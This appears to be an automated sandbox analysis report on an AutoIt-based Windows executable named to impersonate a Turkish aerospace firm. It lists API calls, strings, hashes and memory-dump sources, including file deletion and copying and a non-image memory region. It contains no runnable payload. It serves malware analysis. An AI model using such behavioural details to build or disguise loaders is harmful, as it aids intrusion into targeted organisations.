TranslateMessage.USER32(?), ref: 00FE5C60
DispatchMessageW.USER32(?), ref: 00FE5C6E
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00FE5C82

Strings

@TRAY_ID, xrefs: 00FE578F
@GUI_CTRLID, xrefs: 00FE4F3A
@GUI_CTRLHANDLE, xrefs: 00FE4FE4
@GUI_WINHANDLE, xrefs: 00FE4F8F
@COM_EVENTOBJ, xrefs: 00FE54F0

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: Message$PeekSleepWindow$DestroyDispatchLockTimeTranslateUpdatetime
String ID: @COM_EVENTOBJ$@GUI_CTRLHANDLE$@GUI_CTRLID$@GUI_WINHANDLE$@TRAY_ID
API String ID: 4212290369-3242690629
Opcode ID: 8759f66dee00d5fdb359d65d5a0402c4c45989a98773a93918bee6aa927f59bf
Instruction ID: 9ed69ea58b8d705ba5c6a7cd149d6e952d11f22bf692b2d2850dc176d45392d7
Opcode Fuzzy Hash: 8759f66dee00d5fdb359d65d5a0402c4c45989a98773a93918bee6aa927f59bf
Instruction Fuzzy Hash: DFB20270608782DFD734DF25C884BABB7E4BF85718F14491DE589872A1CB79E844EB82

Function 01009155 Relevance: 19.8, APIs: 13, Instructions: 322
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 01008F5F: __time64.LIBCMT ref: 01008F69

Part of subcall function 00FA4EE5: _fseek.LIBCMT ref: 00FA4EFD

__wsplitpath.LIBCMT ref: 01009234

Part of subcall function 00FC40FB: __wsplitpath_helper.LIBCMT ref: 00FC413B

_wcscpy.LIBCMT ref: 01009247
_wcscat.LIBCMT ref: 0100925A
__wsplitpath.LIBCMT ref: 0100927F
_wcscat.LIBCMT ref: 01009295
_wcscat.LIBCMT ref: 010092A8

Part of subcall function 01008FA5: _memmove.LIBCMT ref: 01008FDE
Part of subcall function 01008FA5: _memmove.LIBCMT ref: 01008FED

_wcscmp.LIBCMT ref: 010091EF

Part of subcall function 01009734: _wcscmp.LIBCMT ref: 01009824
Part of subcall function 01009734: _wcscmp.LIBCMT ref: 01009837

DeleteFileW.KERNEL32(?,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?), ref: 01009452
_wcsncpy.LIBCMT ref: 010094C5
DeleteFileW.KERNEL32(?,?), ref: 010094FB
CopyFileW.KERNEL32(?,?,00000000,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001), ref: 01009511
DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 01009522
DeleteFileW.KERNELBASE(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 01009534

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: File$Delete$_wcscat_wcscmp$__wsplitpath_memmove$Copy__time64__wsplitpath_helper_fseek_wcscpy_wcsncpy
String ID:
API String ID: 1500180987-0
Opcode ID: 22c26146bf17b54633d0e7c0aa79d78bca546bcbf126f9a7e96c54d69eb3d683
Instruction ID: d56839f5e9c8569490163cf2969622ac77bceab98d49c47ad5b2bf54d6d3b3eb
Opcode Fuzzy Hash: 22c26146bf17b54633d0e7c0aa79d78bca546bcbf126f9a7e96c54d69eb3d683
Instruction Fuzzy Hash: D0C15CB1D00219AEDF21DF95CC81EDEBBBDEF95304F0040AAE609E7181EB749A449F61

Function 00FA3015 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 73
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00FA3074
RegisterClassExW.USER32(00000030), ref: 00FA309E
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00FA30AF
InitCommonControlsEx.COMCTL32(?), ref: 00FA30CC
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00FA30DC
LoadIconW.USER32(000000A9), ref: 00FA30F2
ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00FA3101

Strings

TaskbarCreated, xrefs: 00FA30A4
AutoIt v3 GUI, xrefs: 00FA3090
0, xrefs: 00FA3056
+, xrefs: 00FA305D

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: +$0$AutoIt v3 GUI$TaskbarCreated
API String ID: 2914291525-1005189915
Opcode ID: 5af8f17c77ff1c91c8039bd23e31b6834991673c5eb742fc003e7f48ffceaab9
Instruction ID: b534c2f238e59b7e13bfa13bfdbc73700c3b9116f6ef83bab3c348fba4385b2b
Opcode Fuzzy Hash: 5af8f17c77ff1c91c8039bd23e31b6834991673c5eb742fc003e7f48ffceaab9
Instruction Fuzzy Hash: 7A3136B184534AAFDB60CFA4E889A8DBBF0FB09390F24455EE5C0E6294D3BA0585CF51

Function 00FA3041 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 54
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00FA3074
RegisterClassExW.USER32(00000030), ref: 00FA309E
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00FA30AF
InitCommonControlsEx.COMCTL32(?), ref: 00FA30CC
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00FA30DC
LoadIconW.USER32(000000A9), ref: 00FA30F2
ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00FA3101

Strings

TaskbarCreated, xrefs: 00FA30A4
AutoIt v3 GUI, xrefs: 00FA3090
0, xrefs: 00FA3056
+, xrefs: 00FA305D

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: +$0$AutoIt v3 GUI$TaskbarCreated
API String ID: 2914291525-1005189915
Opcode ID: 3660cc2c60e77d2fe5f307f97ad268229618e899c6660896037145c5ce06a63c
Instruction ID: 05663aeea9b0575f46bdb8a5f8ecb068aea0fb94b649693cc358fbd26a8b5c61
Opcode Fuzzy Hash: 3660cc2c60e77d2fe5f307f97ad268229618e899c6660896037145c5ce06a63c
Instruction Fuzzy Hash: 9421F4B1D00219AFDB20DFA4E888B9DBBF4FB08780F10411AF990E6294D7BA45448F91

Function 00FA708B Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 201
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00FA4706: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,010652F8,?,00FA37AE,?), ref: 00FA4724

Part of subcall function 00FC050B: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,00FA7165), ref: 00FC052D

RegOpenKeyExW.KERNELBASE(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?,?,\Include\), ref: 00FA71A8
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,00000000,?), ref: 00FDE8C8
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,?,?,00000000), ref: 00FDE909
RegCloseKey.ADVAPI32(?), ref: 00FDE947
_wcscat.LIBCMT ref: 00FDE9A0

Strings

\, xrefs: 00FDE9C3
Include, xrefs: 00FDE8BF, 00FDE900
\Include\, xrefs: 00FA7165
Software\AutoIt v3\AutoIt, xrefs: 00FA719E

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: NameQueryValue$CloseFileFullModuleOpenPath_wcscat
String ID: Include$Software\AutoIt v3\AutoIt$\$\Include\
API String ID: 2673923337-2727554177
Opcode ID: bb682af2efcc1917c71d8074816300a0e020b2aeafcbe0c62f37c2b1f9306e3a
Instruction ID: 45df1a56da4f13fe1dc6e028d76086493f71c4967623c37c0f4fdfc1421b97f0
Opcode Fuzzy Hash: bb682af2efcc1917c71d8074816300a0e020b2aeafcbe0c62f37c2b1f9306e3a
Instruction Fuzzy Hash: 5A7180B15093029EC324EF65EC81D9BBBF8FF89350F40052EF48587264DB7A9949DB92

Function 00FA3A46 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 71
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00FA3A50
LoadCursorW.USER32(00000000,00007F00), ref: 00FA3A5F
LoadIconW.USER32(00000063), ref: 00FA3A76
LoadIconW.USER32(000000A4), ref: 00FA3A88
LoadIconW.USER32(000000A2), ref: 00FA3A9A
LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 00FA3AC0
RegisterClassExW.USER32(?), ref: 00FA3B16

Part of subcall function 00FA3041: GetSysColorBrush.USER32(0000000F), ref: 00FA3074
Part of subcall function 00FA3041: RegisterClassExW.USER32(00000030), ref: 00FA309E
Part of subcall function 00FA3041: RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00FA30AF
Part of subcall function 00FA3041: InitCommonControlsEx.COMCTL32(?), ref: 00FA30CC
Part of subcall function 00FA3041: ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00FA30DC
Part of subcall function 00FA3041: LoadIconW.USER32(000000A9), ref: 00FA30F2
Part of subcall function 00FA3041: ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00FA3101

Strings

AutoIt v3, xrefs: 00FA3B05
#, xrefs: 00FA3AFB
0, xrefs: 00FA3AF4

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
String ID: #$0$AutoIt v3
API String ID: 423443420-4155596026
Opcode ID: b8ea8496d5097ea203a8893023410a52cf5e3b9394f4ce6f1edb52a4974c331b
Instruction ID: b8c09096c28dac162b98c169cc3723757366c36f233ac24d838e4577b2799c0e
Opcode Fuzzy Hash: b8ea8496d5097ea203a8893023410a52cf5e3b9394f4ce6f1edb52a4974c331b
Instruction Fuzzy Hash: FC215AB1D0030AAFEB20DFA4EC09B9D7BB5FB09791F10011AF584A62A5D3BA5640DF94

Function 00FA3633 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 151
windowtimeregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DefWindowProcW.USER32(?,?,?,?), ref: 00FA36D2
KillTimer.USER32(?,00000001), ref: 00FA36FC
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 00FA371F
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00FA372A
CreatePopupMenu.USER32 ref: 00FA373E
PostQuitMessage.USER32(00000000), ref: 00FA374D

Strings

TaskbarCreated, xrefs: 00FA3725

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: MessageTimerWindow$CreateKillMenuPopupPostProcQuitRegister
String ID: TaskbarCreated
API String ID: 129472671-2362178303
Opcode ID: beec288486184ddb18241c3528087c9898e8429f42567a9aaa574fff03446639
Instruction ID: 6bf6cb44a1959a89cc0d34a3657a904c0dc956a6f0396eaa024dd629033f5339
Opcode Fuzzy Hash: beec288486184ddb18241c3528087c9898e8429f42567a9aaa574fff03446639
Instruction Fuzzy Hash: BD4158F2604106BBDB346F68DC09F793769FB47390F240119F582D63A5CA6A9E04B761

Function 00FA3766 Relevance: 14.3, APIs: 1, Strings: 7, Instructions: 267
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

CMDLINERAW, xrefs: 00FA37FB
CMDLINE, xrefs: 00FA3822
>>>AUTOIT NO CMDEXECUTE<<<, xrefs: 00FA37AE
/AutoIt3ExecuteLine, xrefs: 00FA38A7
/AutoIt3ExecuteScript, xrefs: 00FA38BC
/AutoIt3OutputDebug, xrefs: 00FA3892
/ErrorStdOut, xrefs: 00FA387D

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: FileLibraryLoadModuleName__wcsicmp_l_memmove
String ID: /AutoIt3ExecuteLine$/AutoIt3ExecuteScript$/AutoIt3OutputDebug$/ErrorStdOut$>>>AUTOIT NO CMDEXECUTE<<<$CMDLINE$CMDLINERAW
API String ID: 1825951767-3513169116
Opcode ID: 899e281442fe9bf416f7589688144174c2202524c08f49eefdeca04841df2e03
Instruction ID: f7414daf0bea960b1e80dcf88118e738fc8301f97e88ecc6a0105c7d80ad31be
Opcode Fuzzy Hash: 899e281442fe9bf416f7589688144174c2202524c08f49eefdeca04841df2e03
Instruction Fuzzy Hash: D2A15FB2D1021E9ADB04EBA4DC91EEEB779FF16350F44042AF415B7191DF785A08EB60

Function 01260B88 Relevance: 10.7, APIs: 7, Instructions: 239
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(00000000,?,80000000,00000007,00000000,00000003,00000080,00000000,?,00000000), ref: 01260C59
VirtualFree.KERNELBASE(00000000,00000000,00008000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 01260E7F

Memory Dump Source

Source File: 00000000.00000002.1492167049.000000000125E000.00000040.00000020.00020000.00000000.sdmp, Offset: 0125E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_125e000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: CreateFileFreeVirtual
String ID:
API String ID: 204039940-0
Opcode ID: d349c2c11462b54f33c86561be68849ac3e84e681e3d8bb3fdc8e10bc75df865
Instruction ID: 6f7788dbafc4e9e419732ef1a84e2eeafad1e37391545ee4d4aeb40650aed14a
Opcode Fuzzy Hash: d349c2c11462b54f33c86561be68849ac3e84e681e3d8bb3fdc8e10bc75df865
Instruction Fuzzy Hash: F6A12970E10209EBDB14CFA4C895BEEBBB9FF48304F208559E615BB2C1D775AA80DB54

Function 00FA39D5 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 00FA3A03
CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00FA3A24
ShowWindow.USER32(00000000,?,?), ref: 00FA3A38
ShowWindow.USER32(00000000,?,?), ref: 00FA3A41

Strings

AutoIt v3, xrefs: 00FA39FB, 00FA3A00, 00FA3A01
edit, xrefs: 00FA3A1E

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: Window$CreateShow
String ID: AutoIt v3$edit
API String ID: 1584632944-3779509399
Opcode ID: 36388629160e7f414330786b6740770c525ebe7609d1b6b6d0e65fd5a35c3b5d
Instruction ID: b97db4279afa3fcdf3e7f47695c4bf2ce72e7b0e3343b2638be5caca9d9e856c
Opcode Fuzzy Hash: 36388629160e7f414330786b6740770c525ebe7609d1b6b6d0e65fd5a35c3b5d
Instruction Fuzzy Hash: 63F03A706002927EEA305A23AC09E2B2E7DE7CBF90B10001EF940E2168C26A0800DBB0

Function 01260948 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 149
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 01260838: Sleep.KERNELBASE(000001F4), ref: 01260849

CreateFileW.KERNELBASE(?,80000000,00000007,00000000,00000003,00000080,00000000), ref: 01260A7D

Strings

LAU0117DYL3URY9D43KJO, xrefs: 01260AE0, 01260AE3

Memory Dump Source

Source File: 00000000.00000002.1492167049.000000000125E000.00000040.00000020.00020000.00000000.sdmp, Offset: 0125E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_125e000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: CreateFileSleep
String ID: LAU0117DYL3URY9D43KJO
API String ID: 2694422964-3824852089
Opcode ID: a6c7066b132d53d99519a30e216317f639ed5dfa13a6879cb46abbfc4214eab7
Instruction ID: 215f57a7c16b6ee01eef253cc9ead9630e2364eccea7ebbd0650db25024d27d8
Opcode Fuzzy Hash: a6c7066b132d53d99519a30e216317f639ed5dfa13a6879cb46abbfc4214eab7
Instruction Fuzzy Hash: 2751A230D14248DAEF11DBF4C854BEEBB79AF19304F104199E249BB2C1D7B91B85CBA5

Function 00FA407C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 88
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadStringW.USER32(00000065,?,0000007F,00000104), ref: 00FDD3D7

Part of subcall function 00FA7BCC: _memmove.LIBCMT ref: 00FA7C06

_memset.LIBCMT ref: 00FA40FC
_wcscpy.LIBCMT ref: 00FA4150
Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 00FA4160

Strings

Line: , xrefs: 00FDD400

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: IconLoadNotifyShell_String_memmove_memset_wcscpy
String ID: Line:
API String ID: 3942752672-1585850449
Opcode ID: 6c790eeaa3fa0b13828bb85f6dcc4db6bbd216215ad03ba656b424ac79eb4435
Instruction ID: c019dbc3a5b67a3bae2bb86c2a7c3c463eb41f9564fb8e2f247e9c16f5f56e18
Opcode Fuzzy Hash: 6c790eeaa3fa0b13828bb85f6dcc4db6bbd216215ad03ba656b424ac79eb4435
Instruction Fuzzy Hash: C931D0B1408301AFD331EB60DC46FDB77E8AF86354F14451EF5C582091EBB8A648E792

Function 00FC541D Relevance: 7.7, APIs: 5, Instructions: 163
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 00FC547B
_memcpy_s.LIBCMT ref: 00FC54ED
__read_nolock.LIBCMT ref: 00FC554B
__filbuf.LIBCMT ref: 00FC556E
_memset.LIBCMT ref: 00FC55B2

Part of subcall function 00FC8B28: __getptd_noexit.LIBCMT ref: 00FC8B28

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock_memcpy_s
String ID:
API String ID: 1559183368-0
Opcode ID: dfdd2df0ab245b9716d30a375d324e0946404ce6e082d96a71c3349c3dbc91e5
Instruction ID: 8a188ed431c9feacafcd7be8e8355db4966a8051a5b1d7977aad34c25a78f64d
Opcode Fuzzy Hash: dfdd2df0ab245b9716d30a375d324e0946404ce6e082d96a71c3349c3dbc91e5
Instruction Fuzzy Hash: 8151B971E00A079BCB18CE65DE42F6D77A2AF40734F284A2DF425962D0D774ADD0AB40

Function 00FA686A Relevance: 7.3, APIs: 2, Strings: 2, Instructions: 260COMMON

Download Yara Rule

APIs

Part of subcall function 00FA4DDD: LoadLibraryExW.KERNEL32(?,00000000,00000002,?,010652F8,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?), ref: 00FA4E0F

_free.LIBCMT ref: 00FDE263
_free.LIBCMT ref: 00FDE2AA

Part of subcall function 00FA6A8C: SetCurrentDirectoryW.KERNEL32(?,?,?,?,00000000), ref: 00FA6BAD

Strings

Bad directive syntax error, xrefs: 00FDE292
>>>AUTOIT SCRIPT<<<, xrefs: 00FDE039

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: _free$CurrentDirectoryLibraryLoad
String ID: >>>AUTOIT SCRIPT<<<$Bad directive syntax error
API String ID: 2861923089-1757145024
Opcode ID: dfab0ebed2116fd8553b7fb9a65a3e2a55f371f3c232a9696aef0bf7cdb01fb6
Instruction ID: 82b1d0ce0f7b18c61386dabecfce0eb082517b9650b6a18ff1a6315c0cedef3b
Opcode Fuzzy Hash: dfab0ebed2116fd8553b7fb9a65a3e2a55f371f3c232a9696aef0bf7cdb01fb6
Instruction Fuzzy Hash: D9916D71D0021ADFCF04EFA4CC919EDB7B9FF15310F14442AE816AB2A1DB78A915EB50

Function 00FA35B0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 59registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(80000001,Control Panel\Mouse,00000000,00000001,00000000,00000003,00000000,80000001,80000001,?,00FA35A1,SwapMouseButtons,00000004,?), ref: 00FA35D4
